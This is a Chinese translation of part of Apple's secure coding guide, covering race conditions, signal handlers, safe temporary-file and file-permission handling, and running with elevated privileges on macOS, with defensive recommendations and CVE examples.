在进程A增加门计数并写回后,进程B用进程A写入的相同值覆盖了门计数的值。
由于这种Race Conditions,进入体育场的两个人中的一个没有被计算在内。
由于每个旋转栅门可能会排很长的队,这种情况可能会在大型比赛前发生很多次,知道这种少计的不诚实售票员可以把一些收据装进口袋,而不必担心被抓住。
其他可以被利用的竞争条件,如上面的例子,涉及使用共享数据或其他进程间通信方法。
如果攻击者可以在重要数据写入之后和重新读取之前干扰它,他们就可以破坏程序的运行,更改数据,或者做其他恶作剧。
在多线程程序中使用非线程安全调用会导致数据损坏。
如果攻击者可以操纵程序导致两个这样的线程相互干扰,就有可能发起拒绝服务攻击。
在某些情况下,通过使用这样的竞争条件以超过缓冲区所能容纳的数据覆盖堆中的缓冲区,攻击者可以导致缓冲区溢出。
如避免缓冲区溢出和下溢中所述,缓冲区溢出可以被利用来导致恶意代码的执行。
涉及共享数据的竞争条件的解决方案是使用锁定机制来防止一个进程更改变量,直到另一个进程完成该变量。
然而,这种机制存在问题和危险,必须谨慎实施。
当然,锁定机制仅适用于参与锁定方案的进程。
它们不能防止不受信任的应用程序恶意修改数据。
有关详细讨论,请参阅Wheeler,Secure Programming HOWTO,在http://www.dwheeler.com/secure-programs/。
可以通过不同的方式防止检查时间使用时间漏洞,这在很大程度上取决于问题的领域。
在处理共享数据时,您应该使用锁定来保护该数据免受代码其他实例的影响。
在处理可公开写入目录中的数据时,您还应该采取可公开写入目录中的文件是危险中描述的预防措施。
信号处理
因为信号处理程序在任意时间执行代码,它们可以被用来导致不正确的行为。
在以root身份运行的守护进程中,在错误的时间运行错误的代码甚至会导致权限提升。
保护信号处理程序更详细地描述了这个问题。
2、保护信号处理程序
信号处理程序是竞争条件的另一个常见来源。
从操作系统到进程或两个进程之间的信号用于终止进程或使其重新初始化等目的。
如果您在程序中包含信号处理程序,它们不应该进行任何系统调用,并且应该尽快终止。
尽管某些系统调用在信号处理程序中是安全的,但编写一个这样做的安全信号处理程序很棘手。
最好的办法是设置一个标志,让您的程序定期检查,并且在信号处理程序中不做其他工作。
这是因为信号处理程序在完成处理第一个信号之前可能会被新信号中断,使系统处于不可预测的状态,或者更糟糕的是,为攻击者提供了一个漏洞来利用。
例如,1997年,在FTP协议的许多实现中报告了一个漏洞,在该漏洞中,用户可以通过关闭FTP连接来造成竞争条件。
关闭连接导致向FTP服务器几乎同时传输两个信号:一个中止当前操作,一个注销用户。
竞争条件发生在注销信号正好在中止信号之前到达时。
当用户以匿名用户身份登录FTP服务器时,服务器会暂时将其权限从root降级为无权限,以便登录用户没有写入文件的权限。
然而,当用户注销时,服务器会重新获得root权限。
如果中止信号在正确的时间到达,它会在服务器获得root权限后但在用户注销之前中止注销过程。
然后,用户将以root权限登录,并可以随意继续写入文件。
攻击者只需反复单击“取消”按钮,就可以通过图形FTP客户端利用此漏洞。
[CVE-1999-0035]
有关如何利用信号处理器竞争条件的论述,请参阅http://lcamtuf.coredump.cx/signals.txt的Michal Zalewski的文章。
3、保护文件操作
不安全的文件操作是安全漏洞的主要来源。
在某些情况下,以不安全的方式打开或写入文件会使攻击者有机会创建竞争条件(参见检查时间与使用时间)。
然而,通常,不安全的文件操作使攻击者能够读取机密信息、执行拒绝服务攻击、控制应用程序,甚至控制整个系统。
本节讨论您应该做些什么来使您的文件操作更加安全。
检查结果代码
始终检查您调用的每个例程的结果代码。
如果操作失败,请准备好处理这种情况。
如果程序的开发人员检查了结果代码,大多数基于文件的安全漏洞都是可以避免的。
下面列出了一些常见的错误。
- 写入文件或更改文件权限时
更改文件权限或打开文件进行写入时失败可能由多种原因引起,包括:文件或封闭目录的权限不足。
不可变标志(使用chflags
实用程序或chflags
系统调用设置)。
网络卷变得不可用。
外部驱动器被拔掉。
驱动器故障。
根据您的软件的性质,如果您没有正确检查错误代码,其中任何一个都可能被利用。
有关详细信息,请参阅手册页chflags
的ch标记、chown
和chgrp
命令以及chflags
和chown
函数。 - 删除文件时
尽管如果您传递-f
标志,rm
命令通常可以忽略权限,但它仍然可能失败。
例如,您不能删除包含任何内容的目录。
如果一个目录位于其他用户可以访问它的位置,任何删除该目录的尝试都可能失败,因为另一个进程可能会在您删除旧文件时添加新文件。
解决此问题的最安全方法是使用其他人无权访问的私有目录。
如果不可能,请检查以确保rm
命令成功并准备好处理失败。
小心硬链接
一个硬链接是文件的第二个名称-文件似乎在两个不同的位置,有两个不同的名称。
如果一个文件有两个(或更多)硬链接,您检查该文件以确保所有权、权限等都正确,但未能检查该文件的链接数,攻击者可以通过他们自己目录中的自己的链接写入或读取该文件。
因此,在使用文件之前的其他检查中,您应该检查链接数。
但是,如果有指向文件的第二个链接,不要简单地失败,因为在某些情况下链接是正常的,甚至是预期的。
例如,每个目录都链接到层次结构中至少两个位置——目录名本身和链接回自身的目录中的特殊.
记录。
此外,如果该目录包含其他目录,则每个子目录都包含一个指向外部目录的..
记录。
您需要预测这样的条件并允许它们。
即使链接是意外的,您也需要优雅地处理这种情况。
否则,攻击者只需创建文件链接就可以导致拒绝服务。
相反,您应该通知用户这种情况,给他们尽可能多的信息,这样他们就可以尝试追踪问题的根源。
小心符号链接
一个符号链接是一种特殊类型的文件,包含一个路径名。
符号链接比硬链接更常见。
跟随符号链接的函数会自动打开、读取或写入路径名在符号链接文件中的文件,而不是符号链接文件本身。
您的应用程序不会收到跟随符号链接的通知;对您的应用程序来说,似乎寻址的文件就是使用的文件。
例如,攻击者可以使用符号链接使您的应用程序将用于临时文件的内容写入关键系统文件,从而破坏系统。
或者,攻击者可以捕获您正在写入的数据,或者可以在您读取临时文件时用攻击者的数据替换您自己的数据。
一般来说,应该避免使用chown
和stat
等遵循符号链接的函数(见表4-1中的替代方法)。
不区分大小写的文件系统会阻碍您的安全模型
在macOS中,任何分区(包括引导卷)都可以区分大小写、不区分大小写但保留大小写,或者对于非引导卷,不区分大小写。
例如,HFS+可以区分大小写或不区分大小写但保留大小写。
FAT32不区分大小写但保留大小写。
FAT12、FAT16和ISO-9660(无扩展)不区分大小写。
如果您不小心,不知道这些卷格式之间行为差异的应用程序可能会导致严重的安全漏洞。
特别是:
- 如果您的程序使用自己的权限模型来提供或拒绝访问(例如,只允许访问特定目录中的文件的Web服务器),您必须使用
chroot
监狱强制执行此操作,或者警惕确保即使在不区分大小写的世界中也能正确识别路径。
除其他外,这意味着理想情况下,您应该默认拒绝允许的异常,而不是默认允许拒绝的异常。
如果这不可能,为了正确起见,您必须使用区分大小写或不区分大小写的比较将每个单独的路径部分与您的拒绝列表进行比较,具体取决于文件所在的卷类型。
例如,如果您的程序阻止用户上传或下载文件/etc/ssh_host_key
,如果您的软件安装在不区分大小写的卷上,您还必须拒绝请求/etc/SSH_host_key
、/ETC/SSH_HOST_KEY
甚至/ETC/ssh_host_key
的人。 - 如果您的程序使用大小写字母的错误混合定期访问区分大小写的卷上的文件,打开调用将失败……直到有人使用您的程序实际要求的名称创建第二个文件。
如果有人创建了这样的文件,您的应用程序将尽职尽责地从错误的文件中加载数据。
如果该文件的内容以某种重要方式影响您的应用程序的行为,这代表了潜在的攻击媒介。
如果该文件是您的应用程序包的可选部分,在您的应用程序启动时由dyld加载,这也会带来潜在的攻击媒介。
正确创建临时文件
macOS中的临时目录在多个用户之间共享。
这要求它们可由多个用户写入。
每当您在其他人具有读/写权限的位置处理文件时,文件都有可能被破坏或损坏。
处理此问题的最佳方法是创建一个只有您可以访问的安全临时目录,然后将文件写入该目录。
要做到这一点:
- 在可可应用程序中,呼叫
NSTemporaryDirectory
。 - 在POSIX层,调用
confstr
并将常量_CS_DARWIN_USER_TEMP_DIR
作为name
参数传递。
接下来,为了最大限度地防止以同一用户身份运行的恶意应用程序,请使用适当的函数在该目录中创建文件夹和文件,如下所述。
- POSIX层
使用mkstemp
函数来创建POSIX层的临时文件。
mkstemp
函数保证一个唯一的文件名并返回一个文件描述符,从而允许您跳过检查open
函数结果是否有错误的步骤,这可能需要您更改文件名并再次调用open
。
如果必须在公共目录中手动创建临时文件,可以使用设置了O_CREAT
和O_EXCL
标志的open
函数来创建文件并获取文件描述符。
如果文件已经存在,O_EXCL
标志会导致此函数返回错误。
继续之前请务必检查错误。
打开文件并获得文件描述符后,只要保持文件打开,您就可以安全地使用接受文件描述符的函数,例如标准的C函数write
和read
。
有关这些函数的更多信息,请参阅open(2)
、mkstemp(3)
、write(2)
和read(2)
手册页,并参阅Wheeler,安全编程HOWTO了解使用这些函数的优点和缺点。 - Cocoa
没有创建文件并返回文件描述符的Cocoa方法。
但是,您可以从Objective-C程序调用标准的Copen
函数来获取文件描述符(请参阅使用POSIX调用处理可公开写入的文件)。
或者您可以调用mkstemp
函数来创建临时文件并获取文件描述符。
然后您可以使用NSFileHandle
方法initWithFileDescriptor:
来初始化文件句柄,以及其他NSFileHandle
方法来安全地写入或读取文件。
NSFileHandle
类的文档在 基础框架参考 中。
要获取存储临时文件(存储在$TMPDIR
环境变量中)的默认位置的路径,您可以使用NSTemporaryDirectory
函数。
请注意,在某些情况下,NSTemporaryDirectory
可以返回/tmp
,例如如果您链接到OS X 10.3之前的开发目标。
因此,如果您使用NSTemporaryDirectory
,您必须确保使用/tmp
适合您的操作,或者如果不适合,您应该考虑这是一个错误情况,如果发生这种情况,请创建一个更安全的临时目录。
在NSFileManager
类中的changeFileAttributes:atPath:
方法类似于chmod
或chown
,因为它采用文件路径而不是文件描述符。
如果您在公共目录或用户的主目录中工作,则不应使用此方法。
相反,调用fchown
或fchmod
函数(参见表4-1)。
您可以调用NSFileHandle
类的fileDescriptor
方法来获取NSFileHandle
正在使用的文件的文件描述符。
此外,在处理临时文件时,您应该避免使用NSString
和NSData
的writeToFile:atomically
方法。
这些方法旨在最大限度地降低写入文件时数据丢失的风险,但不建议在其他人可写的目录中使用。
有关详细信息,请参阅使用Cocoa处理公开可写文件。
可公开写入目录中的文件很危险
可公开写入目录中的文件必须被视为本质上不受信任。
攻击者可以删除该文件并将其替换为另一个文件,用指向另一个文件的符号链接替换它,提前创建文件,等等。
有一些方法可以在一定程度上减轻这些攻击中的每一个,但是防止它们的最好方法是不要在第一步读取或写入可公开写入目录中的文件。
如果可能,您应该创建一个具有严格控制权限的子目录,然后将文件写入该子目录。
但是,如果您必须在进程没有独占访问权限的目录中工作,则必须在创建文件之前检查以确保文件不存在。
您还必须验证您打算从中读取或写入的文件是否与您创建的文件相同。
为此,您应该始终使用对文件描述符而不是路径名进行操作的例程,这样您就可以确定您总是在处理同一个文件。
为此,请将O_CREAT
和O_EXCL
标志传递给open
系统调用。
这将创建一个文件,但如果文件已经存在,则会失败。
注意:如果由于某种原因不能直接使用文件描述符,您应该明确创建文件,作为打开文件的单独步骤。
尽管这并不能阻止有人在这些操作之间交换新文件,但至少它通过使检测文件是否已经存在来缩小攻击窗口。
但是,在创建文件之前,您应该首先设置进程的文件创建掩码(umask)。
文件创建掩码是一个位掩码,它可以更改默认的权限,包括进程创建的所有新文件和目录。
此位掩码通常以八进制表示法指定,这意味着它必须以零开头(而不是0x)。
例如,如果将文件创建掩码设置为022
,则进程创建的任何新文件都将具有rw-r--r--
权限,因为写入权限位被屏蔽。
同样,任何新目录都将具有rw-r-xr-x
权限。
注意:新文件永远不会设置执行位。
然而,目录可以。
因此,在屏蔽读取权限时,您通常应该屏蔽执行权限,除非您有特定的原因允许用户在看不到目录内容的情况下遍历目录。
要限制对任何新文件或目录的访问,以便只有用户可以访问它们,请将文件创建掩码设置为077。
您还可以以适用于用户的方式屏蔽权限,尽管这很少见。
例如,要创建一个没有人可以写入或执行的文件,并且只有用户可以读取,您可以将文件创建掩码设置为0377。
这不是特别有用,但这是可能的。
有几种方法可以设置文件创建掩码:
- 在C代码中:
在C代码中,可以使用umask
系统调用全局设置文件创建掩码。
您还可以在创建文件或目录时将文件创建掩码传递给open
或mkdir
系统调用。**
注意:** 为了在编写C代码时获得最大的可移植性,您应该始终使用<sys/stat.h>
中定义的文件模式常量创建掩码。
例如:umask(S_IRWXG|S_IRWXO);
- 在shell脚本中:
在shell脚本中,您可以使用umask
设置文件创建掩码。
这记录在sh
或csh
的手册页中。
例如:umask 0077;
作为额外的安全奖励,当一个进程调用另一个进程时,新进程继承父进程的文件创建掩码。
因此,如果您的进程启动另一个进程来创建文件而不重置文件创建掩码,系统上的其他用户同样无法访问该文件。
这在编写shell脚本时特别有用。
有关文件创建掩码的更多信息,请参见umask
和Viega和McGraw的手册页,构建安全软件,Addison Wesley,2002。
有关文件创建掩码使用的特别清晰的解释,请参见http://web.archive.org/web/20090517063338/http://www.sun.com/bigadmin/content/submitted/umask_permissions.html?。
在读取文件之前(但打开后),确保它具有您期望的所有者和权限(使用fstat
)。
如果没有,准备好优雅地失败(而不是挂起)。
这里有一些指南可以帮助您在处理可公开写入目录中的文件时避免检查时间使用时间漏洞。
有关更详细的讨论,尤其是C代码,请参阅Viega和McGraw,构建安全软件,Addison Wesley,2002,和Wheeler,安全编程HOWTO,可在http://www.dwheeler.com/secure-programs/。
- 如果可能的话,避免创建共享目录中的临时文件,例如
/tmp
,或者用户拥有的目录。
如果其他人有权访问您的临时文件,他们可以修改其内容,更改其所有权或模式,或者用硬链接或符号链接替换它。
更安全的是根本不使用临时文件(使用其他形式的进程间通信),或者将临时文件保存在您创建的目录中,只有您的进程(充当您的用户)有权访问该目录。 - 如果你的文件必须在共享目录中,给它一个唯一的(和随机生成的)文件名(你可以使用C函数
mkstemp
来做这件事),永远不要关闭和重新打开文件。
如果你关闭这样的文件,攻击者可能会在你重新打开它之前找到并替换它。
以下是您可以使用的一些公共目录:
~/Library/Caches/TemporaryItems
当您使用此子目录时,您正在写入用户自己的主目录,而不是其他用户的目录或系统目录。
如果用户的主目录具有默认权限,则只能由该用户和root写入。
因此,该目录不像其他目录那样容易受到来自外部非特权用户的攻击。/var/run
此目录用于进程ID(pid)文件和每个启动会话只需要一次的其他系统文件。
每次系统启动时都会清除此目录。/var/db
此目录用于系统进程可访问的数据库。/tmp
该目录用于一般共享临时存储。
每次系统启动时都会清除它。/var/tmp
此目录用于一般共享临时存储。
尽管您不应该指望存储在此目录中的数据是永久的,但与/tmp
不同,/var/tmp
目录当前不会在重新启动时清除。
为了获得最大的安全性,您应该始终在这些目录中创建临时子目录,在这些子目录上设置适当的权限,然后将文件写入这些子目录。
以下部分提供了一些关于在使用POSIX层C代码、Carbon和Cocoa调用时如何遵循这些原则的额外提示。
使用POSIX调用处理可公开写入的文件
如果您需要打开一个预先存在的文件来修改它或从中读取它,您应该在使用它之前检查文件的所有权、类型和权限,以及文件的链接数。
例如,要安全地打开文件进行读取,您可以使用以下过程:
- 调用
open
函数并保存文件描述符。
传递O_NOFOLLOW
以确保它不跟随符号链接。 - 使用文件描述符,调用
fstat
函数来获取刚刚打开的文件的stat
结构。 - 检查文件的用户ID(UID)和组ID(GID)以确保它们正确。
- 检查文件的模式标志,确保是普通文件,而不是FIFO、设备文件或其他特殊文件。
具体来说,如果stat结构命名为st
,那么(st.st_mode & S_IFMT)
的值应该等于S_IFREG
。 - 检查文件的读、写和执行权限,以确保它们是您所期望的。
- 检查文件是否只有一个硬链接。
- 传递打开的文件描述符以供以后使用,而不是传递路径。
请注意,您可以通过使用安全目录而不是公共目录来保存程序文件来避免所有状态检查。
表4-1显示了一些要避免的函数——以及要使用的更安全的等效函数——以避免在公共目录中创建文件时出现竞争条件。
Table 4-1 C file functions to avoid and to use
要避免的功能 | 要改为使用的函数 |
---|---|
fopen 返回一个文件指针;如果文件不存在,则自动创建文件,如果文件确实存在,则不返回错误 | open 返回文件描述符;使用O_CREAT 和O_EXCL 选项时,如果文件已经存在,则创建文件并返回错误 |
chmod 采用文件路径 | fchmod 接受一个文件描述符 |
chown 采用文件路径并遵循符号链接 | fchown 采用文件描述符,不遵循符号链接 |
stat 采用文件路径并遵循符号链接 | lstat 采用文件路径,但不遵循符号链接;fstat 接受文件描述符并返回有关打开文件的信息 |
mktemp 创建一个具有唯一名称的临时文件并返回一个文件路径;您需要在另一个调用中打开该文件 | mkstemp 创建一个具有唯一名称的临时文件,打开它进行读写,并返回一个文件描述符 |
使用Carbon处理可公开编写的文件
如果您使用Carbon File Manager创建和打开文件,您应该了解文件管理器如何访问文件。
- 文件说明符
FSSpec
结构使用路径来定位文件,而不是文件描述符。
不推荐使用使用FSSpec
文件说明符的函数,无论如何都不应使用。 - 文件引用
FSRef
结构使用路径来定位文件,并且仅当您的文件位于安全目录而不是可公开访问的目录中时才应使用。
这些函数包括FSGetCatalogInfo
、FSSetCatalogInfo
、FSCreateFork
等。 - 文件管理器在单独的操作中创建和打开文件。
如果文件已经存在,则创建操作失败。
但是,没有一个文件创建函数返回文件描述符。
如果您获得了目录的文件引用(例如,从FSFindFolder
函数),您可以使用FSRefMakePath
函数来获取目录的路径名。
但是,请务必检查函数结果,因为如果FSFindFolder
函数失败,它将返回一个空字符串。
如果您不检查函数结果,您可能最终会尝试创建一个带有路径名的临时文件,路径名是通过将文件名附加到空字符串中形成的。
使用Cocoa处理可公开编写的文件
在NSString
和NSData
类中有writeToFile:atomically:
方法,旨在最小化写入文件时数据丢失的风险。
这些方法首先写入临时文件,然后,当它们确定写入成功时,它们用临时文件替换写入文件。
在公共目录或用户的主目录中工作时,这并不总是合适的,因为涉及到许多基于路径的文件操作。
相反,使用现有的文件描述符初始化一个NSFileHandle
对象,并使用NSFileHandle
方法写入文件,如上所述。
例如,以下代码使用mkstemp
函数创建一个临时文件并获取一个文件描述符,然后使用它来初始化NSFileHandle
:
fd = mkstemp(tmpfile); // check return for -1, which indicates an error
NSFileHandle *myhandle = [[NSFileHandle alloc] initWithFileDescriptor:fd];
在Shell脚本中使用可公开编写的文件
脚本必须遵循与其他程序相同的一般规则以避免竞争条件。
您应该知道一些技巧来帮助您的脚本更加安全。
首先,在编写脚本时,将临时目录($TMPDIR
)环境变量设置为安全目录。
即使您的脚本不直接创建任何临时文件,您调用的一个或多个例程可能会创建一个,如果它是在不安全的目录中创建的,这可能是一个安全漏洞。
有关更改临时目录环境变量的信息,请参阅setenv
和setenv
的手册页。
出于同样的原因,设置进程的文件代码创建掩码(umask)以限制对脚本运行的例程可能创建的任何文件的访问(有关umask的更多信息,请参阅保护文件操作)。
在外壳脚本上使用dtruss
命令也是一个好主意,这样您就可以监视每次文件访问,以确保没有在不安全的位置创建临时文件。
dtrace
和dtruss
的更多信息,请参阅手册页。
不要使用运算符>
或>>
将输出重定向到可公开写入的位置。
这些运算符不检查文件是否已经存在,它们遵循符号链接。
相反,将-d
标志传递给mktemp
命令以创建只有您有权访问的子目录。
检查结果以确保命令成功很重要。
如果您在该目录中执行所有文件操作,您可以相当确信没有低于root访问权限的人可以干扰您的脚本。
有关详细信息,请参阅mktemp
的手册页。
在写入文件之前,请勿使用test
命令(或其左括号([
)等价物)来检查文件的存在或文件的其他状态信息。
这样做总是会导致竞争条件;也就是说,攻击者有可能在您开始写入之前创建、写入、更改或替换文件。
有关详细信息,请参阅test
手册页。
要更深入地了解特定于shell脚本的安全问题,请阅读 Shell脚本入门 中的 Shell脚本安全。
其他提示
以下是处理文件时需要注意的一些额外事项:
- 在尝试文件操作之前,请确保对该文件执行操作是安全的。
例如,在尝试读取文件之前(但在打开文件之后),您应该确保它不是FIFO或设备特殊文件。 - 仅仅因为你可以写入文件,这并不意味着你应该写入它。
例如,目录存在的事实并不意味着你创建了它,事实上,您可以附加到文件并不意味着您拥有该文件或没有其他人可以写入它。 - macOS可以对几个不同文件系统中的文件执行文件操作。
有些操作只能在某些系统上执行。
例如,某些文件系统在执行时尊重setuid
文件,而有些则不尊重。
请确保您知道正在使用的文件系统以及可以在该系统上执行哪些操作。 - 本地路径名可以指向远程文件。
例如,路径/volumes/foo
实际上可能是某人的FTP服务器,而不是本地安装的卷。
仅仅因为您通过路径名访问某些东西,并不能保证它是本地的或者应该被访问。 - 用户可以将文件系统挂载到任何他们拥有写权限并拥有该目录的地方。
换句话说,几乎任何用户可以创建目录的地方,他们都可以在其上挂载文件系统。
因为这可以远程完成,所以在远程系统上以root身份运行的攻击者可以将文件系统挂载到您的主目录中。
该文件系统中的文件似乎是root拥有的主目录中的文件。
例如,/tmp/foo
可能是本地目录,也可能是远程挂载文件系统的根挂载点。
类似地,/tmp/foo/bar
可能是本地文件,或者它可能是在另一台机器上创建的,并由那边的root拥有。
因此,您不能仅根据所有权来信任文件,也不能假设将UID设置为0是由您信任的人完成的。
要判断文件是否在本地挂载,请使用fstat
调用来检查设备ID。
如果设备ID与您知道是本地的文件不同,那么您已经跨越了设备边界。 - 请记住,用户可以像读取普通文件一样轻松地读取可执行二进制文件的内容。
例如,用户可以运行strings
来快速查看可执行文件中(表面上)人类可读字符串的列表。 - 当您分叉一个新进程时,子进程将继承所有来自父进程的文件描述符,除非您设置了关闭执行标志。
如果您分叉并执行一个子进程并删除该子进程的权限,使其真实有效的ID是其他用户的ID(以避免以提升的权限运行该进程),那么该用户可以使用调试器附加子进程。
然后他们可以从正在运行的进程运行任意代码。
因为子进程从父进程继承了所有文件描述符,所以用户现在可以访问父进程打开的每个文件。
有关此类漏洞的更多信息,请参阅继承文件描述符。
六、安全提升权限
默认情况下,应用程序以当前登录的用户身份运行。
不同的用户在访问文件、更改系统范围的设置等方面拥有不同的权限,这取决于他们是管理员用户还是普通用户。
有些任务需要额外的权限,超出了管理员用户在默认情况下所能做的。
具有这种额外权限的应用程序或其他进程被称为以提升的权限运行。
以root或管理权限运行代码会加剧安全漏洞带来的危险。
本章解释了风险,提供了权限提升的替代方案,并描述了如何在无法避免的情况下安全地提升权限。
注意:在提交到Mac App Store的应用程序中不允许提升权限,在iOS中也不可能。
1、需要提升特权的情况
无论用户是否以管理员身份登录,程序都可能必须获得管理权限或root权限才能完成任务。
需要提升权限的任务示例包括:
- 操作文件权限、所有权
- 创建、读取、更新或删除系统和用户文件
- 为TCP和UDP连接打开特权端口(端口号小于1024的端口)
- 打开原始插座
- 管理流程
- 读取虚拟内存的内容
- 更改系统设置
- 加载内核扩展
如果您必须执行需要提升权限的任务,您必须意识到这样一个事实,即以提升权限运行意味着如果您的程序中存在任何安全漏洞,攻击者也可以获得提升权限,然后能够执行上面列出的任何操作。
2、敌对环境与最小特权原则
任何程序都可能受到攻击,而且很可能会受到攻击。
默认情况下,每个进程都以启动它的用户或进程的权限运行。
因此,如果攻击者利用缓冲区溢出或其他安全漏洞(请参阅安全漏洞的类型)在其他人的计算机上执行代码,他们通常可以使用登录用户拥有的任何权限运行他们的代码。
如果用户以受限权限登录,您的程序应该以这些受限权限运行。
这有效地限制了攻击者可能造成的损害,即使在成功劫持您的程序运行恶意代码之后也是如此。
不要假设用户是以管理员权限登录的;如果您需要使用提升的权限来完成任务,您应该准备好运行辅助应用程序。
但是,请记住,如果您提升进程的权限以root身份运行,攻击者可以获得这些提升的权限,并有可能接管整个系统。
如果攻击者可以获得管理员权限,他们可以提升到root权限,并获得对用户计算机上任何数据的访问权限。
因此,只有在执行需要管理员权限的罕见任务时,才以管理员身份登录是良好的安全实践。
因为macOS的默认设置是使计算机所有者成为管理员,所以您应该鼓励您的用户创建一个单独的非管理员登录,并将其用于日常工作。
此外,如果可能的话,您不应该要求管理员权限来安装您的软件。
通过限制访问来限制风险的想法可以追溯到政府安全机构遵循的“需要知道”政策(无论您的安全许可如何,除非您有特定的需要知道该信息,否则您都无法访问该信息)。
在软件安全中,该政策通常被称为最小权限原则。
最小权限原则规定:
- “系统的每个程序和每个用户都应该使用完成工作所需的最少权限集进行操作。”
—Saltzer, J.H. AND Schroeder, M.D., “The Protection of Information in Computer Systems,” Proceedings of the IEEE, vol. 63, no. 9, Sept 1975.
实际上,最小权限原则意味着您应该避免以root身份运行,或者——如果您绝对必须以root身份运行才能执行某些任务——您应该运行一个单独的助手应用程序来执行特权任务(请参阅编写一个特权助手)。
此外,您的软件(或其中的一部分)应该尽可能在进一步限制其特权的沙盒中运行,如设计安全助手和守护进程中所述。
通过以尽可能低的权限运行,您可以:
- 限制事故和错误造成的损害,包括恶意引入的事故和错误
- 减少特权组件的交互,从而减少对特权的无意、不必要和不当使用(副作用)
请记住,即使您的代码没有错误,您的代码链接的任何库中的漏洞都可以用来攻击您的程序。
例如,具有图形用户交互界面的程序都不应该以权限运行,因为任何GUI应用程序中使用的大量库几乎不可能保证应用程序没有安全漏洞。
如果您以root身份运行,攻击者可以通过多种方式利用您的程序。
以下部分描述了一些可能的方法。
启动新流程
因为任何新进程都以启动它的进程的权限运行,如果攻击者可以诱骗您的进程启动恶意代码,则恶意代码以您的进程的权限运行。
因此,如果您的进程以root权限运行并且容易受到攻击,则攻击者可以获得系统的控制权。
攻击者可以通过多种方式诱骗您的代码启动恶意代码,包括缓冲区溢出、竞争条件和社会工程攻击(请参阅安全漏洞类型)。
使用命令行参数
因为所有的命令行参数,包括程序名(argv[0]
)都在用户的控制之下,所以您不应该信任argv[0]
来指向您的程序。
例如,如果您使用命令行来重新执行您自己的应用程序或工具,恶意用户可能已经用不同的应用程序替换了argv[0]
。
如果您随后将其传递给使用第一个参数作为要运行的程序名称的函数,那么您现在正在以您的权限执行攻击者的代码。
此外,如果您必须运行外部工具,请务必以安全的方式进行。
有关详细信息,请参阅C语言命令执行和Shell脚本。
但是,在可能的情况下,以root用户身份运行的软件应避免运行外部工具。
继承文件描述符
当您创建一个新进程时,子进程会继承它自己的父进程的副本文件描述符(参见fork
手册页)。
因此,如果您对文件描述符指向的文件、网络套接字、共享内存或其他资源有一个句柄,并且您分叉了一个子进程,您必须小心关闭文件描述符,或者必须确保子进程不能被篡改。
否则,恶意用户可以使用子进程篡改文件描述符引用的资源。
例如,如果您打开密码文件但在分叉进程之前没有关闭它,则新子进程可以访问密码文件。
要设置文件描述符,使其在执行新进程时自动关闭(例如通过使用execve
系统调用),请使用fcntl
系统调用设置关闭执行标志。
您必须为每个文件描述符单独设置此标志;没有办法为所有文件描述符设置它。
滥用环境变量
大多数库和实用程序使用环境变量。
有时环境变量可能会受到缓冲区溢出或插入不适当值的攻击。
如果您的程序链接到任何库或调用任何实用程序,您的程序很容易受到任何此类有问题的环境变量的攻击。
如果您的程序以root身份运行,攻击者可能能够通过这种方式关闭或获得对整个系统的控制。
过去受到攻击的实用程序和库中的环境变量示例包括:
- 动态加载器:
LD_LIBRARY_PATH
,DYLD_LIBRARY_PATH
经常被误用,造成不必要的副作用。 - libc:
MallocLogFile
- 核心基础:
CF_CHARSET_PATH
- Perl:
PERLLIB
,PERL5LIB
,PERL5OPT
[2CVE-2005-2748(在Apple安全更新2005-008中更正)3CVE-2005-0716(在Apple安全更新2005-003中更正)4CVE-2005-4158]
环境变量也由子进程继承。
如果您分叉了一个子进程,您的父进程应该在使用所有环境变量之前验证它们的值,以防它们被子进程更改(无论是无意中还是通过恶意用户的攻击)。
修改进程限制
您可以使用setrlimit
系统调用来限制进程对系统资源的消耗。
例如,您可以设置进程可以创建的最大文件大小、进程可以消耗的最大CPU时间量以及进程可以使用的最大物理内存量。
这些进程限制由子进程继承。
如果攻击者使用setrlimit
更改这些限制,就会导致通常不会失败的操作失败。
例如,报告了一个Linux版本的漏洞,该漏洞使攻击者能够通过减小最大文件大小来限制/etc/passwd
和/etc/shadow
文件的大小。
然后,下次实用程序访问这些文件时,它会截断文件,从而导致数据丢失和拒绝服务。
[CVE-2002-0762]
类似地,如果一个软件没有进行正确的错误检查,一个操作中的失败可能会改变以后操作的行为。
例如,如果降低文件描述符限制会阻止文件被打开进行写入,以后读取文件并对其进行操作的代码可能最终会处理过时的数据副本。
文件操作干扰
如果为了在全局可写目录或用户目录中写入或读取文件而以提升的权限运行,则必须注意检查时间使用时间问题;请参阅检查时间与使用时间。
3、避免特权提升
在许多情况下,您可以在不需要提升权限的情况下完成您的任务。
例如,假设您需要为您的应用程序配置环境(将配置文件添加到用户的主目录或修改用户主目录中的配置文件)。
您可以从以root身份运行的安装程序中执行此操作(installer
命令需要管理权限;请参阅installer
手册页)。
但是,如果您让应用程序自行配置,或者在启动时检查是否需要配置,那么您根本不需要以root身份运行。
BSDps
命令给出了一个使用替代设计以避免以提升的权限运行的例子,它显示有关具有控制终端的进程的信息。
最初,BSD使用setgid
运行组ID为kmem
的ps
命令,这赋予了它读取内核内存的权限。
ps
命令的最新实现使用sysctl
实用程序来读取它需要的信息,消除了ps
以任何特殊权限运行的要求。
4、以提升的权限运行
如果您确实需要以提升的权限运行代码,您可以采取多种方法:
- 您可以使用提升的权限运行守护程序,当您需要执行特权任务时调用该权限。
启动守护程序的首选方法是使用launchd
守护程序(请参阅启动)。
使用launchd
守护程序更容易启动守护程序,并且与守护程序通信比分叉您自己的特权进程更容易。 - 您可以使用
authopen
命令读取、创建或更新文件(请参阅Authopen)。 - 您可以使用BSD系统调用来更改特权级别(请参阅更改特权级别的调用)。
这些命令具有令人困惑的语义学。
您必须小心正确使用它们,检查这些调用的返回值以确保它们成功非常重要。
请注意,一般来说,除非您的进程最初以root身份运行,否则它不能通过这些调用提升其特权或接管任何其他用户的特权。
但是,以root身份运行的进程可以(暂时或永久)放弃这些特权。
任何进程都可以从代表一个组更改为代表另一个组(在它所属的组内)。
注意: 旧软件有时会为可执行文件设置setuid
和setgid
位,并将文件的所有者和组设置为所需的权限级别(通常是root
用户和wheel
组)。
然后,当用户运行该工具时,它以工具所有者和组的提升权限运行,而不是以执行该工具的用户的权限运行。
强烈反对这种技术,因为用户能够通过创建额外的文件描述符、更改环境变量等来操纵执行环境,这使得以安全的方式操作相对困难。
无论您决定如何运行您的特权代码,您都应该让它尽可能少地运行,并确保代码在完成任务后立即放弃任何额外的特权(请参阅编写特权助手)。
尽管从架构上讲,这通常是最好的解决方案,但要正确地运行非常困难,尤其是第一次尝试。
除非您在分叉特权进程方面有很多经验,否则您可能想先尝试其他解决方案之一。
